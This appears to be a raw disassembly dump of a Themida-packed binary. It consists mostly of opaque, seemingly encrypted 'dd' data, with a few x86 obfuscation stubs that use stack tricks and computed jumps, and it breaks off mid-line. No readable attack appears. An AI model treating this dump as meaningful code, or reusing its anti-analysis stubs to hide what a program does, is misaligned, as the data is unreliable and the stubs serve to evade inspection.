0FE4ACAAEh, 1D863C1Ah, 154BCDEBh, 99666F01h, 0BDE5CBD3h dd 0F9C824DFh, 0B13D01F5h, 0DE000001h, 11A3EF6Fh, 8F6DB336h dd 450D09Fh, 768B5620h, 3AEA21F2h, 5695E6C5h, 0A27AD689h dd 982AB43Eh, 70BA3B16h, 895E8DDEh, 369A7AD6h, 88019F58h dd 3677CFEh, 88C3266Bh, 20F97CFEh, 173C98F8h, 37B9FBCEh dd 0FE8087E6h, 0B18FF37Ch, 46BFh, 0F3724D00h, 0DCF0C7A5h dd 24A63811h, 0D6E598D3h, 9E7CE07Ah, 0F1C963B4h, 0FAF7CFEh dd 82489F96h, 0DA6CF695h, 7A5CC224h, 7B5985ADh, 8B23468Bh dd 40197CFEh, 2BAE8918h, 1DF4DE5h, 0CE11EA46h, 0E65FFBh dd 0C8000000h, 85265512h, 4F2DF7FBh, 0C4048C0Ch, 0D5A7F862h dd 6231C953h, 2EFD95E3h, 0FBCA62AEh, 97D6277Bh, 0BA7AD669h dd 7AC70C93h, 0F3933025h, 872F27BDh, 0DD67F186h, 0C5EE4CF9h dd 0C4447AD6h, 0DBB69478h, 0B3BA0B57h, 0C77AD6CCh, 0D341D963h dd 7B541FF5h, 90C33E9h, 0C834D042h, 0C87E00EAh, 3BBA7C82h dd 3D8B0A1Ch, 1E1CD5B3h, 627CFCE1h, 12916CFEh, 1E12AE88h dd 9157D7A7h, 0DD969E24h, 0DBBF49A8h, 0C32A7BFDh, 377CFDE4h dd 10A8F072h, 0F73A18A2h, 3A862A78h, 77024E8Ch, 0E904CA7h dd 0E5620000h, 0F578AF93h, 1694CBAFh, 29ABE2C6h, 47C6FDE1h dd 4D6015F9h, 7F63B130h, 9C80C448h, 0B69AE465h, 0CFB3FF7Fh dd 353889D7h, 457CFB7Bh, 0EDC8D172h, 3E8F216Dh, 7AD6E52Fh dd 0C609E74Bh, 0DE15F947h, 632E125Eh, 7367EF6Fh, 0C1076938h dd 0CF67F1h, 90DB2C80h, 0E87AD6F9h, 667BF648h, 87112CE5h dd 62E219FDh, 511C7E16h, 8F95E678h, 0C97CFE07h, 0D0BE8165h dd 19000007h, 0C241F06Fh, 0A258EA74h, 0B4785444h, 0E00B5C9Fh dd 187AD61Bh, 5C4C2AB4h, 0E2870BE6h, 14821A5Eh, 0FCF3AC8Ah dd 0F7AD61Bh, 6BC5459h, 0B18FDD9Fh, 0A53710DBh, 0FB0E1054h dd 62F4587Ch, 0F65C8FE0h, 389C7CF8h, 1595705Ah, 0D8137C9h dd 4BA2F35Ch, 0AF7CF804h, 915D854Bh, 7AB1EDCBh, 9A1CAEFAh dd 0F8162249h, 7F2567Ch, 6F5F3D85h, 2FD321A0h, 2527E9Bh dd 9BFF5A2Ah, 6D00000Dh, 83BA9EF0h, 9FD6BA00h, 0B6EDD121h dd 0D108EC34h, 6B200452h, 70BE3D42h, 8DD1558Ch, 0A7F172A9h dd 0C00C8CC3h, 4596E4DCh, 7CFB7A26h, 6FDE7F52h, 87BEA2F0h dd 2DDA5A07h, 5AC860AEh, 0E76938D0h, 0F99079Fh, 9918F385h dd 568B94Bh, 757AD6E5h, 74433311h, 9110A8F4h, 0A8281038h dd 6DC9785Ch, 0E201F67Fh, 0Dh, 0EF03F983h, 0B1287AD6h dd 0FFFFFD60h, 0E5F6F90Ch, 5E297AD6h, 9718F385h, 6947B54Dh dd 0A122FD7Fh, 6651BF57h, 95039BE5h, 70FEFEB7h, 96FA7CFBh dd 5DA92904h, 76C24279h, 42900FDEh, 5120369Eh, 78D3A302h dd 0CEAh, 9ED3FBCh, 25094FD2h, 3C2070EEh, 573B8305h, 6F53A120h dd 0F8EF3BAh, 22A6DDC1h, 42C3FADEh, 5DDD14F8h, 0E7352D11h dd 0FB7A5796h, 2FD0A37Ch, 0BA3EF6Fh, 0F236BA95h, 551D114h dd 0A37EEE6Dh, 0D13FD723h, 69F820F3h, 2FC10F8Eh, 0D6E58FDEh dd 0A987EB7Ah, 0B69AE666h, 0F67FAB07h, 142001h, 0F9C10000h dd 7AD6EF03h, 0DD0EE1ECh, 0DE685036h, 0FFFCAF67h, 11DCC2FFh dd 755A638h, 5C7CFEC1h, 0DBB9FD81h, 0A5EA82E6h, 7CFEC143h dd 0EB769E77h, 9FF3F135h, 0FEBB1F4Eh, 31F75B7Ch, 0DAB8BEDEh dd 0CDA6C31Fh, 4C8A40FBh, 0EB9380E5h, 0CE1E9C87h, 0F8EAC836h dd 1E9h, 0E5C6F999h, 5BED7AD6h, 54211EA5h, 8792DBDAh, 31F84320h dd 223A18A2h, 649B23A3h, 6AB435DBh, 0C42DD4A4h, 0D526A83Ah dd 7AD66396h, 64A07EE2h, 0DE2CAB86h, 0B7FAD846h, 0E53EB37h dd 7AD663B3h, 5C3C64B5h, 0E2AC90DCh, 0D5A43C15h, 0D725A855h dd 0D6626786h, 0A52F937Ah, 7E59371Bh, 89CD51FEh, 33F967FFh dd 310D505Fh, 0C609E7F0h, 1D62FA46h, 7AD6ACBAh, 217FA780h dd 1F63AC5h, 7C6FC042h, 7C7AD6A4h, 5E483A18h, 0E9000001h dd 0BA3EF6Fh, 8C70BC3Ch, 8C1EF7C2h, 0FEE47D3Bh, 0D9F037Ch dd 17F42557h, 4C2A74F8h, 880BE65Ch, 5E3CAA42h, 0FEF342A5h dd 9FE5687Ch, 6EB63807h, 0D6FE57D6h, 779F7853h, 0CE6DBD19h dd 4732FBh, 0E5C00000h, 62391767h, 0A63811DCh, 0FEF1D755h dd 5CDCA17Ch, 18AF24D4h, 63EDAC25h, 18B0F478h, 438820AAh dd 7CFE282Ch, 8A702616h, 0FA8C4216h, 234B1EFCh, 0A0CB1C9Eh dd 0D87CFEFDh, 7FDB9674h, 0F4FBCE67h, 0A4h, 0A3EF6F95h dd 6FBD3C0Bh, 0DB8808D7h, 0C7A1258h, 9B1BEA82h, 0F8BE6B4Fh dd 2E7AD6FDh, 4ED062AEh, 0D6FCEEFDh, 0C5450A7Ah, 0E973E179h dd 3A05CF0Bh, 974DCF61h, 0EF91595Bh, 0EC38B860h, 7E5CE654h dd 0FCFA69C5h, 15A70B7Ch, 896DBB3Ah, 0E185D352h, 24EEAFDh dd 0C3C520F0h, 9500000Ah, 0ABE2C618h, 0C7FEE228h, 0DE15F949h dd 0F930145Ch, 93482C7Ah, 98E6651Ah, 0B5F97DB4h, 0CF199AD1h dd 0E834B4EBh, 6DBE0C04h, 7CFB447Eh, 6F06A77Ah, 5A10A2F0h dd 6A9808A4h, 43C262F4h, 5143A57Ah, 76ADE9C7h, 0FBC6AAF6h dd 216DEDC8h, 0FA3D1B89h, 0E69C2E7Ah, 0DB14B8D8h, 0E6644FB7h dd 0B290FE96h, 0EE714CC2h, 0A9D9356Ch, 9B25E073h, 74B79503h dd 1C4A8F4h, 403h, 8362FD5Ch, 0CB4DDFB8h, 522D715h, 0F98B259Dh dd 0D6A945A8h, 7351B57Ah, 0FB3C91BAh, 0E839A57Ch, 7CFB0785h dd 0F2CB91F5h, 640F6C78h, 89C771FBh, 0D153E5BEh, 1695981Bh dd 765408A4h, 0D3B4ABBDh, 0D169CD7Ah, 8370658Ch, 5E865F76h dd 0A0EEA602h, 38B1BF5h, 0F9BC0000h, 7AD6E5F6h, 0D6E52C46h dd 80D1537Ah, 7AD6E56Dh, 754B298Dh, 0B23495AAh, 8F0EB8A6h dd 0B03AC40Eh, 0AE3BCD1Eh, 0D13D7CFEh, 922A76F6h, 89A8C324h dd 6CD07CFEh, 0F7AA3EE2h, 8757024Bh, 9B12Ch, 0B4068300h dd 0D01699D0h, 0E737B5ECh, 24ACC03h, 1A68E71Eh, 572C8136h dd 6FA68AD8h, 8CC3A7EBh, 0A6DDC10Bh, 0FEF6DA26h, 470C5FB0h dd 996C7CFBh, 0A3EF6FF8h, 2CDF950Bh, 0CEAB2AF1h, 5C27FDDBh dd 60A0F183h, 887CFBE4h, 0AB764024h, 0D5EF40D2h, 0DE7AD559h dd 9F378303h, 4A006B31h, 0B5EEC1BEh, 0D342E2D7h, 7F4987F3h dd 0C8A335BFh, 6F1C0044h, 768DE150h, 43D5A677h, 0E37D70C1h dd 0C54768Dh, 784B40F3h, 603EA23Fh, 2569ED24h, 0F23EBE8Dh dd 542DF85Ah, 0F5AB71C2h, 49AD70A5h, 0A6B24DA5h, 9DF8C80Eh dd 90Ah, 290D5FDCh, 45296FF2h, 5C40900Eh, 775BA325h, 8F73C140h dd 2FAED3DAh, 42C6FDE1h, 62E31AFEh, 7DFD3418h, 7554D31h dd 0FB46B7B6h, 4FF0C37Ch, 0A63811DCh, 0FB703F55h, 43D5397Ch dd 1662E6C1h, 0FB70A6C5h, 0E46ED27Ch, 0FB3FC306h, 185CE017h dd 7A531E80h, 93E466E8h, 7CFB7058h, 0EB88D052h, 0D0F0A987h dd 0D87AD6E5h, 8B66DC74h, 95DB5E0Bh, 8C572D0Bh, 74DD0ABh dd 8DCF47A6h, 0C54FB376h, 0E09AE233h, 19DE70A5h, 6DBE5096h dd 6855BC7Eh, 0E88C167Ah, 0EA6E414h, 6BEA4515h, 3D000008h dd 538A6EC0h, 6FA68AD0h, 86BDA1F1h, 0A1D8BC04h, 3BF0D422h dd 408E0D72h, 5DA1255Ch, 77C14279h, 90DC5C93h, 1566B4ACh dd 7CFB41D6h, 6FAE4F22h, 3C0BA3EFh, 478B0FBCh, 1FB741AFh dd 391F47A0h, 428A0CB9h, 0CEB23CAAh, 0F683C31Fh, 1AF3801h dd 0DCD90000h, 55A63811h, 7CFECA77h, 0C0059D01h, 7CFECAA9h dd 49C8A393h, 224A1DFBh, 0CE5472CEh, 18BE7FBh, 6F880000h dd 3C0BA3EFh, 3DE70BCh, 0F53D782h, 0C543ED85h, 0A0FE7735h dd 88C4A22Ch, 881AF3BEh, 0FE1F7937h, 0BB5FFF7Ch, 97D3B1DCh dd 0E61B3089h, 80549020h, 0FE5A3C2Fh, 4ED83C7Ch, 0D75732C4h dd 45A8F98Bh, 0B57CFE5Ah, 0D837351h, 0C5DB332h, 7CFE5AE1h dd 4D2BB519h, 0FE5A5D94h, 89D9577Ch, 54A422F1h, 0BCE43DBCh dd 6189623Dh, 0DE0D5EE0h, 1A7CFE5Ah, 0C11DD8B6h, 3EFBCDC4h dd 199E163h, 51C3B593h, 64000000h, 58D711DCh, 7A04720Ah dd 0F19597E8h, 13EE7CFEh, 73684694h, 4DE52BAEh, 47BD55DFh dd 43C0FC5h, 1CF7EC9Ah, 0FEB1B0BBh, 8664C87Ch, 0FEB19ACDh dd 0C50F907Ch, 92DE5E2Dh, 4B732AFAh, 0F21AF3CEh, 0CE2C429Eh dd 64E4BFFBh, 0A3483A18h, 0E9000000h, 0BA3EF6Fh, 0D76FBD3Ch dd 0A43C8808h, 1ECD55D5h, 5E295455h, 5AF5F849h, 0A1057AD6h dd 0FCA98D17h, 7AD646CEh, 0BD7C0484h, 899D31B7h, 0C528790Bh dd 357AD6C6h, 996347D1h, 8863F5CEh, 0B523BB09h, 9E9CEDD7h dd 0ED7CFC64h, 6C4A8E12h, 1742D777h, 0E71F33FCh, 71F0CB5Dh dd 89083F23h, 6D6F973Bh, 0FECE024Eh, 6B5A3h, 0B80A8700h dd 0D41A9DD4h, 0EB3BB9F0h, 64ED007h, 1E6CEB22h, 5B28853Ah dd 73AA8EDCh, 90C7ABEFh, 0AAE1C50Fh, 2FADE2Ah, 400863B4h dd 9D707CFBh, 0A2F06FFCh, 0BB0787BEh, 0EF6F0CD7h, 0DE76C242h dd 7F4EE670h, 0CCFB3FFh, 23h, 0B491FD67h, 2D7E10E9h, 7CFB701Dh dd 0EC09B317h, 70491411h, 0E5728DDEh, 12767AD6h, 623168h dd 0DC8C0000h, 959D711h, 0E7790371h, 5B92E365h, 9F7AD6E5h dd 0E593DA3Bh, 83E77AD6h, 626ABBA5h, 167CFECCh, 0FC86D051h dd 9638EE64h, 3327C6FDh, 56C07957h, 83830153h, 421DA4CCh dd 71DF77C1h, 19F2BD93h, 85563687h, 7EE27AD6h, 5FE1BC9Ah dd 30B07F17h, 0FE945AE4h, 3FB8EE91h, 9AC39270h, 1E000000h dd 0A63811DCh, 0FB703755h, 0ED714C7Ch, 0A7C617A9h, 0D37CFB70h dd 389C916Fh, 248CBA6h, 70CC1F70h, 0C82C7CFBh, 0B893EBEAh dd 0E654EC38h, 0EAA5308h, 0DBAA428Eh, 0EF7B1357h, 6A0188B0h dd 338FE109h, 0B0FBC8EBh, 2F0D51D5h, 403Dh, 11DCDE00h dd 3455A638h, 407CFB70h dd 0EB1235DCh, 3898C021h, 0FBC8EADCh, 2451h, 11DCF200h dd 3555A638h, 3F7CFB70h, 0E20DE49Fh, 20AA6FFEh, 65A75679h dd 2884DC04h, 9DFBC8B6h, 0Dh, 0FE23F93Eh, 0D1487AD6h, 0FFFFFF07h dd 0F546C82Ch, 7AD6E5F6h, 74BA3D02h, 6B360CEAh, 0CE66B031h dd 0A7F77560h, 8517A10Fh, 24A42803h, 0F53F960Fh, 8119A32Ah dd 62B3BA0Bh, 63C77AD6h, 0D642FBD9h, 657CFBF6h, 0E3C1078Ah dd 7CF28AEEh, 1F7877C6h, 0F8F69FCEh, 0B177DB7Ch, 2D0BB69Dh dd 21B38C57h, 0D52FB1D0h, 0BD55B97Ah, 0A0EC6C47h, 0E6BC9A08h dd 5FB0421Bh, 70A084F5h, 0FB7D0F73h, 59CBE345h, 3E15FB7h dd 65F73DC0h, 0E2C0088Ah, 3811DCA6h, 0C53F55A6h, 0D5396E72h dd 9BE96843h, 9E72DB0h, 79C3441Fh, 4B4E895h, 0F676FA47h dd 0F8FC6AAh, 0DF7B31C3h, 0B8750D36h, 73D5C5A3h, 0EC3DCFA8h dd 0CC239C9Ch, 65E880E4h, 8C0CEC14h, 0A4255C40h, 70F3C25Ah dd 0C706922Ah, 0EE38B99Fh, 3762C0Ah, 369DCFD1h, 0C528790Bh dd 35CDD378h, 2FB0F3D1h, 80D153E5h, 0CDD3786Dh, 5B4B298Dh dd 0DD10E51Ah, 0CF512CB5h, 0A381EF87h, 0B195DF60h, 6EEDC8E6h dd 0A06C4220h, 0E26231C9h, 0F8ADFE96h, 0B28955D0h, 78C64520h dd 8FE072E0h, 7AD6E55Ch, 1E5A389Ch, 741B67E7h, 8C0BAD51h dd 58D7A63Eh, 0ABFC720Ah, 7AD6E540h, 32E754B8h, 78178F0Ah dd 9CE86850h, 7EC447F2h, 0E54AA1E6h, 0E0607AD6h, 0AD2DFC94h dd 7AFAC961h, 8028962Eh, 0C03F1941h, 0E26CDA72h, 7D00DB43h dd 53319F37h, 47C95880h, 0D6E5F7F6h, 0E737B57Ah, 354E64Ah dd 7AD6E5E8h, 8BCEAC10h, 0DEC208h, 0CBB99F4Ah, 0BA9811E2h dd 14ACF677h, 0D65799CFh, 0BBE3867Ah, 2E125CDDh, 0D6772781h dd 0A0F95C7Ah, 1301F5B1h, 0FFFFFF51h, 0A3EF6FB4h, 0BC0888BFh dd 98E46415h, 769E29F1h, 89010EBh, 0C5DFC7EFh, 4B29B326h dd 923C8808h, 0F5E5136Fh, 378801h, 94160000h, 0D66A2843h dd 0EEC507Ah, 3811DC37h, 703A55A6h, 0DA3E7CFBh, 0B3EE1033h dd 0BA850028h, 0C3FE4FE1h, 0E77AD6E5h, 0FF3BF183h, 5ED26D35h dd 356C6E4Ch, 4Ch, 3811DC90h, 0C94924A6h, 9977E57Dh, 0FB70A1E0h dd 78F9D47Ch, 6228962Eh, 0AE70AAFCh, 877C5A8Ah, 5FF741C2h dd 9E5D2BF1h, 0DEA5240Fh, 7A55AD54h, 1FD4B2F6h, 0D35CAFCh dd 62F4CD98h, 0D676F611h, 0EC96FA7Ah, 0F141BF9Ah, 360DEB59h dd 0BA3EF6Fh, 0EF39BA95h, 0C80BE957h, 0BB6AC048h, 96D0E2E2h dd 935E280Ch, 0CF4D28BAh, 0B382B97Fh, 9B9EEFB8h, 2682D3BDh dd 4A7CFEC1h, 9DB8ADAAh, 0B958763h, 47A6F779h, 0B37CFE08h dd 3C81714Fh, 7CFE0835h, 0B20E360Fh, 0FBCD9656h, 41CBh dd 12C86C00h, 1DD977E1h, 0D7AD8B8Dh, 1FA1330Ch, 0D16A1B69h dd 0CEAC2CFAh, 0FEA01715h, 65FD617Ch, 0FE83C920h, 1565E37Ch dd 0E52BAE7Dh, 993177FAh, 1C9DC516h, 0E0406841h, 0FBCE1984h dd 0FDF9h, 12C89A00h, 30B12EE6h, 286F20E6h, 0FA7ABD9Bh dd 0C84716AEh, 43C70F3Eh, 34FA4C90h, 6A7112FDh, 7A129C5Ch dd 4DDF2BABh, 13737ACBh, 23877AD6h, 5DDF5545h, 0D613E10Ch dd 23B5197Ah, 0D6139BD2h, 9D7BDF7Ah, 0AA8EDA5Ah, 0D61721FDh dd 2975F57Ah, 94E56745h, 7AD61E59h, 1C5F3DA1h, 0E3BE509Ch dd 0F7D1565h, 0F0CB4131h, 7248266Eh, 613CCEA7h, 91FF97DFh dd 41D927A6h, 890BF5D3h, 8E62AAEh, 0FE304D4Fh, 0C4460B7Ch dd 0EC76E47Ch, 6487D85Ah, 947CFFCCh, 4C165230h, 0C516A881h dd 7AD56967h, 83C94C11h, 61F37DEBh, 27B90786h, 0A280CC4Ch dd 62B02F66h, 775A52BEh, 0D42FFF08h, 1A2h, 0C1A5F774h dd 0DDC1078Ah, 0F4D828A6h, 0FF33BBDh, 270B59D8h, 0C7463B72h dd 0DA5E9579h, 0FA7BB296h, 1595CCB0h, 9FEDE5C9h, 0FB4F1F4Eh dd 0E7885B7Ch, 0C241F06Fh, 0E46EDC74h, 0FD49C900h, 0EDC84E19h dd 0ACEFE36Fh, 588B26DDh, 0EAC836CEh, 0DE704914h, 0B7FF815Ch dd 200C20D9h, 0CC6C7CFEh, 0EB15DF39h, 0FB931DB8h, 0FEF7B3B6h dd 88B0897Ch, 0CE6DCC28h, 0B641FBh, 6FE20000h, 3C0BA3EFh dd 92D76FBDh, 7AD6E194h, 0DABE0A8Ah, 3FD723A3h, 58D812DDh dd 9FF0820Ch, 7CFECF1Dh, 4F9EEF5Bh, 0AB7CFED7h, 0FD9BD47h dd 40880A44h, 0FAD324B6h, 7E7AD475h, 0DBD2881Ah, 8F5A8F75h dd 8608F2D0h, 0FFDD2DABh, 0E8E3DBCh, 0C80269BAh, 12767684h dd 0F882F088h, 63B43614h, 7684C808h, 0EB2E0C70h, 0A07A1E6Ch dd 0C50875B8h, 0B89AF5h, 0D8A0000h, 1DA0D7BBh, 3EBCF3D7h dd 51D30AEEh, 6FEE2509h, 25883D21h, 0A78BD958h, 0C4A8EC70h dd 0DEC20C8Dh, 0F7DB27A7h, 0D60B1FFh, 6D7CFB4Eh, 0F06FF99Ah dd 787BEA2h, 43F9D7BBh, 434B4911h, 8057354Ch, 4A9BEF6Fh dd 7AD6E523h, 0D169F357h, 52368202h, 6B4F9B1Bh, 0D068B434h dd 0B2007F5Ah, 0FF61BD4h, 6E3A2CD4h, 32CA1093h, 0EB13E6C4h dd 0C00A8B66h, 90D65928h, 65E52806h, 7EFE3519h, 49CB9A32h dd 95E66901h, 0BF0B8B6Dh, 7724A4DBh, 9022ACF6h, 52EA34B5h dd 2FB90183h, 17066151h, 4E000000h, 0CAA8F273h, 0F546C8F3h dd 7AD6E5F6h, 73BB3D02h, 5E36DDBh, 0F26F08BFh, 0B93908A0h dd 8506D56Dh, 50D4A33Bh, 26A5740Ch, 0F27140D8h, 0BB3D0CA4h dd 8E0CDB73h, 54D7A63Eh, 52ED760Eh, 0C2815A54h, 4, 8704EA83h dd 515C2414h, 0C181E189h, 4, 4E981h, 0C870000h, 4895C24h dd 26316824h, 34890000h, 10BB5324h, 55229549h, 884D3FBDh dd 0AD20B859h, 0E831714Ah, 5BD8295Dh, 8904EC83h, 4812424h dd 424h, 81505E00h, 138E242Ch, 468F38C5h, 8468108h, 38C5138Eh ; --------------------------------------------------------------------------- mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55D826 ; --------------------------------------------------------------------------- dw 0D04Bh db 0F7h, 95h, 0A8h ; --------------------------------------------------------------------------- loc_5A409F: ; CODE XREF: Themida_:loc_5A29B9j mov eax, 62DACC2h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 6398806Dh, 7C691070h, 4643AB22h, 489BBAE5h, 39493CF4h dd 109D1A8Fh, 24730781h, 338B6579h, 1C694C48h, 59A6A0B1h dd 2A4C42EEh, 49F696D5h, 7A0F6AF2h, 0FB84788h, 153F4998h dd 375F6F7h, 1E7F34Dh, 2362BDBDh, 22D2676h, 4E7203D8h dd 64537CBDh, 33790353h, 6C01C391h, 616AFFB3h, 7DBB9CEEh dd 17726427h, 48EACD83h, 73BD9371h, 3FA2A24Eh, 0DA80C08Bh dd 49BD83C5h, 62801h, 0BD830975h, 62814C5h, 50197400h dd 0B8C08B53h, 3FCh, 2918589h, 9D8D0628h, 62AA55Eh, 585BD3FFh dd 14C5BD83h, 74000628h, 0B8535017h, 3FCh, 2918589h, 9D8D0628h dd 62AA24Dh, 585BD3FFh, 6AF9B3h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0A5F084C3h, 70C66232h dd 52E4DC45h, 5E9h, 0ED302F00h, 8B5BAB4Dh, 0D68B66C0h dd 2415BD83h, 0F010628h, 4584h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 8E40C4C2h dd 1E55BD83h, 0F000628h, 1985h, 8B616000h, 11BD83D1h, 62833h dd 74840Fh, 840F0000h, 2, 0F0E9D68Bh, 0E9000003h, 12h dd 3F11C9DAh, 3BB0FE5h, 96812274h, 0F7A54F47h, 0C3D0h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 8349EFC3h, 0D0C45233h, 0FA8B6096h, 61F7F680h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8BC35040h dd 590DEA6Fh, 424ADC8Ah, 0F1CE1E9Eh, 1FA0B183h, 0F7F8B1EAh dd 0AEBFE8C9h, 0F31AFD60h, 0F33BF568h, 0F78FB1F0h, 1E04E0A8h dd 545D4312h, 51743CE2h, 76FE9AAEh, 3B58850Ah, 7CEE4EBBh dd 0F3C9583Eh, 0F7E5B1E9h, 0F7C459BEh, 0A8C3B1E9h, 8B78EE2Ah dd 0B379B5CDh, 0F76AB5CDh, 0A079B1E9h, 9E1C2F2Ah, 0F78F59BCh dd 769AB1E9h, 0DA4CCC04h, 0A0F1DBEFh, 0F7F8B201h, 342391E9h dd 0D34238B6h, 0D35B30EDh, 0F78FA4EDh, 3490F6E9h, 0F959F35Bh dd 0A4C14281h, 1079D789h, 0AD1DB291h, 76587162h, 0A78E990Ah dd 21450B8Fh, 97E3B560h, 3962005Fh, 0F9AD81B0h, 0F6F74988h dd 9D8295A5h, 0F4D6E7E9h, 0D71FB1E9h, 7ED172B7h, 76C3959Dh dd 0EAE795ADh, 0B1F1B1E9h, 185472BFh, 0B63AD35Bh, 7A58B40h dd 0A41FDBB1h, 0F78FB201h, 349C91E9h, 0D3BF38B2h, 0D3B530EDh dd 0F7F8ADEDh, 342FF2E9h, 2B7546BFh, 27D8A2DBh, 0F786585Ah dd 2D8EB1E9h, 8E0D9C54h, 0F2EAB146h, 0F7F8B3E5h, 0F716B962h dd 0F73D59BBh, 0AD3FB1E9h, 0A306EB2Ah, 0B346B5CDh, 0F7FBB5CDh dd 0A5B3B1E9h, 378EA42Ah, 0FF948AFBh, 0C83EB1E9h, 0EA42C9Eh dd 0F863E68Ah, 919D6A56h, 4D1FF962h, 817A7EFAh, 0F7F8B051h dd 0A47CDBE9h, 0F73EB201h, 344491E9h, 0D3D338B2h, 0D38330EDh dd 0F7E3A7EDh, 34A2F2E9h, 4C34D8ABh, 0A698B9A3h, 5780F352h dd 7C79E1DEh, 0D3833830h, 1F95B183h, 0F7E3B1EAh, 0AD32EBC9h dd 0F3DCE560h, 0F358F568h, 0F73EB1F0h, 0FDDCE3ABh, 350E6722h dd 0F7C858A7h, 9AF7B1E9h, 74AB0DD1h, 0A910BA53h, 0F0A522DFh dd 2EB2D7DAh, 1F48B183h, 0F78FB1EAh, 0A804EEC9h, 0F3C7CD60h dd 0F3D5F568h, 0F7F8B1F3h, 0E5BFE6AEh, 0B4F2B9F6h, 7C799FC5h dd 0F34E4733h, 0F6C634E6h, 0FA0BB1E9h, 81F1B1E9h, 98A12C34h dd 69167E61h, 7A785756h, 3F10B8Fh, 7C35E8B3h, 97A70564h dd 0D3A1F153h, 3870D785h, 77995BCFh, 7273D9D0h, 0F73EB0AEh dd 1F4FB183h, 0F78FB1EAh, 0AF04E9C9h, 0F3C7F560h, 0F3D5F568h dd 0F7F8B1FDh, 33BFE1A9h, 0F73EA201h, 11042FE9h, 3A78A9C3h dd 0DDD36807h, 1CEBE5D7h, 5E164FE0h, 76A36B62h, 7AD7CB03h dd 0F6473ACFh, 89E6962h, 778FB1E9h, 0F73E33E6h, 0F789B1E9h dd 0F7F259BEh, 0A8D8B1E9h, 8BF5EE2Ah, 0B3BFB5CDh, 0F703B5CDh dd 0A0C8B1E9h, 70060C2Ah, 2A48F230h, 7236F649h, 0F1D51F24h dd 0F77CB1E8h, 6E510B8Fh, 0F71F5F00h, 0A18FDBE9h, 0F7C7B201h dd 34BD91E9h, 0D38538B7h, 0D3BC30EDh, 0F77CA5EDh, 3468F7E9h dd 0DCA4D714h, 0F712580Eh, 0F7ADB1E9h, 0F7E059BCh, 0AAD1B1E9h dd 9B71EC2Ah, 0B3FDB5CDh, 0F724B5CDh, 0A25AB1E9h, 0A84D492Ah dd 0AD4E179h, 0AEB944B9h, 0F7F1A500h, 0EAFAACE9h, 742106EEh dd 0DD8C968Eh, 4AA856C5h, 0D6C0941h, 8E44D7AAh, 73EC4EE2h dd 0F7F1B1BAh, 1FA8B183h, 0F77CB1EAh, 0AFFDE9C9h, 0F33BF560h dd 0F3ABF568h, 0F7C7B1F4h, 5420E1A9h, 2E45E999h, 3DCBEA8Bh dd 3AF9760Ch, 0F6389C47h, 9D1FB1E9h, 0F467E2E9h, 0D7C7B1E9h dd 7EB872B2h, 76F595B5h, 0E2FC95ADh, 0B47CB1E9h, 86CB72BAh dd 6AD5308Fh, 0BF780735h, 1F91B183h, 0F7E3B1EAh, 0A932EFC9h dd 0F3DCC560h, 0F358F568h, 0F73EB1F0h, 0E7DCE7AFh, 0B689EA0Eh dd 0F7C25880h, 0E191B1E9h, 4EDCD405h, 88540932h, 43023464h dd 4AB3B7C4h, 0F132032Bh, 0F0FB49D2h, 3E16BED9h, 9D165AAEh dd 0F419E1E9h, 0D7F8B1E9h, 7E2472B1h, 763A95ADh, 0E21B95ADh dd 0B78FB1E9h, 9E2472B9h, 4EEA0789h, 0B8CA7B4Ch, 0E9133188h dd 0D3690C6Ah, 0F83FB7C1h, 0F71F8E6Dh, 8535D7E9h, 0A27A3201h dd 0F7E599F7h, 0F7DF34E6h, 2873B1E9h, 0C46D0C6Ah, 0F83EB7C1h dd 0F71FEE6Dh, 0A58FDBE9h, 0F7C7B201h, 34B991E9h, 0D3A538B3h dd 0D3BC30EDh, 0F77CA6EDh, 346CF3E9h, 542AB652h, 0F78F4200h dd 0A6C7DBE9h, 0F7E3B201h, 34A891E9h, 0D3B438B0h, 0D33830EDh dd 0F73EACEDh, 344EF0E9h, 5B60B7B8h, 815B79ECh, 0B83CE50h dd 0F7F1BF00h, 0ACB9F9E9h, 2BF42741h, 0D04F4B30h, 9683D505h dd 0D39A0C6Ah, 0F8C6B7C1h, 0F7E3F66Ch, 9191E3E9h, 0DD7E6668h dd 0AC1DEEB9h, 0F73658B4h, 2C3FB1E9h, 2019A0C7h, 9D04D9FEh dd 0F40BE0E9h, 0D7F1B1E9h, 7EA172B0h, 767895A5h, 0E13A95ADh dd 0B61FB1E9h, 3CE072B8h, 3446D7ACh, 9E0AB81Ch, 4DF1B1E9h dd 0D7A736F6h, 0A27CDBB4h, 0F73EB201h, 344291E9h, 0D3E338B4h dd 0D38330EDh, 0F7E3ADEDh, 34A4F4E9h, 388E7BC3h, 0D7CA2DE1h dd 9DF1493Dh, 0F4F7E6E9h, 0D78FB1E9h, 7E9872B6h, 76E79595h dd 0E2F595ADh, 0B0F8B1E9h, 0C92672BEh, 0F73C34E6h, 2D95B1E9h dd 0F78FBF01h, 68FC8BE9h, 79870721h, 0A8C2EFC6h, 9111FE32h dd 0AD919652h, 58230C64h, 7A92B7C4h, 0F1A205A2h, 0CD9BAC51h dd 0A668292h, 0DCF799FFh, 324E7026h, 64885409h, 0C4430234h dd 2B4AB3B7h, 0D2F13203h, 0D9F0FB49h, 0AE3E16BEh, 0F305E983h dd 0CDBD83A4h, 62DAEh, 8D8D0D74h, 6284F6Eh, 1B8h, 40E1FF00h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 78C35747h dd 0AB7544B7h, 0E957347Fh, 0Dh, 8529F53Bh, 148E954h, 0FE114632h dd 2DE8833Fh, 5AF55252h, 0E8C08B5Ah, 7, 46747780h, 8A46F2F3h dd 0B6535AF4h, 0BD835A2Bh, 6280149h, 83097500h, 2814C5BDh dd 19740006h, 0C08B5350h, 3FCB8h, 55858900h, 8D06282Eh dd 2AA5C59Dh, 5BD3FF06h, 0C5BD8358h, 62814h, 53501774h dd 3FCB8h, 55858900h, 8D06282Eh, 2AA2669Dh, 5BD3FF06h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 880F6612h, 1, 